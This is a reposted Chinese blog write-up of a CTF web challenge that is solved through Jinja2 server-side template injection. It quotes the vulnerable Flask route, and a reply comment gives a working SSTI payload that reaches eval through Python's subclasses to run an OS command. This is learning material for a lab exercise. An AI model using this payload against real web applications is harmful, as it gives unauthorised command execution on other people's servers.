云演CTF: 005.Blog

转载

wangguixiu 于 2021-06-09 22:53:08 发布 246 收藏

原文链接：https://www.wangguixiu.top/%E4%BA%91%E6%BC%94/%E4%BA%91%E6%BC%94CTF-005-Blog.html

云演CTF: 005.Blog

- 作者: admin
- 时间: 2021-05-28
- 分类: 云演CTF

网站是个没有内容的博客，返回头表明了后端语言"Werkzeug/1.0.1 Python/2.7.6",尝试几个"www.zip，robots.txt"之类的路径没什么发现，然后各个标签点了点，发现了/div/目录，是这个样子的

google一下"Werkzeug"，找到一个exploit，结果没用，/console下pin不正确，卡了两个小时，突然看到题目提示点是ssti，然后就想起来了，以前故意避开了这种题(看到python、flask、django就头疼)

使用"{{}}"报错，报错信息中找到/app/ssti.py

```
@app.route('/diy/', methods=['GET', 'POST'])
def diy():
    if request.method == 'POST':
        tpl = request.form['tpl']
        def get_flag():
            with open("6bf85e3329f6da6462a213d75e9f5b6f.py", "r") as f:
                return f.readlines()
        template = Template('''%s''' % (tpl))
        template.globals['flag'] = get_flag    #get_flag function can be used in templates
        return template.render()
    return render_template('diy.html')
```

看样子flag在open的文件中，输入"{{flag()}}"后仍然报错

```
IOError: [Errno 2] No such file or directory: '6bf85e3329f6da6462a213d75e9f5b6f.py'
```

网上没找到答案，试着将文件名提交，error，做不出来了，希望有大师傅救我

标签: none

- *admin*

  May 31st, 2021 at 10:19 am

  找到了类似的题：https://blog.csdn.net/qq_40657585/article/details/83657220

  命令执行payload：{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

  flag在/app/6bf85e3329f6da6462a213d75e9f5b6f.py

  回复